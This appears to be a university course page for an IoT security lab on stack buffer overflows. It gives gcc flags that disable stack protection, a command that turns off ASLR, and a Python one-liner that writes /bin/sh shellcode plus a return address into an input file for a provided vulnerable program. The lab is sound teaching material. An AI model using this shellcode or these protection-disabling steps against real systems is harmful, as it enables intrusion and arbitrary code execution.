INF-744 Security and Privacy for IoT

Painel ► Internet das coisas: Tecnologias e Projetos ► INF-744 ► Class 2 (Mar 30) ► Lab: Playing with buffer overflows

Lab: Playing with buffer overflows

Experiment with a simple buffer overflow exploit by following the tutorial. After that, you can try to adapt the code with the following:

- Change the return address to the buffer itself. What power does it give to an attacker?

- Implement a shellcode that calls a system call (execve for spawning a process or simply exit)

- Refactor the code to make it functional over a network!

Let's try some of these changes. Pick the vulnerable program from http://www.ic.unicamp.br/~dfaranha/task1/

First disable some protections in your Linux box:

- Disable protections against stack execution: gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln

- Disable ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Assemble the shellcode in file input.in by replacing the address in the command below:

```
python -c "print '\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x1b\x2c\x10\xcd\x80' + 'x'*30 + '\x84\xfc\xff\xff'" > input.in
```

For reference, the exploit code can be found in file exp.s available in the previous link.

Finally, execute the program: cat input.in - | ./vuln

Clique o link https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/ para abrir o recurso

ADMINISTRAÇÃO

Administração do curso

Você acessou como Vanessa Marques (Sair)

Navegação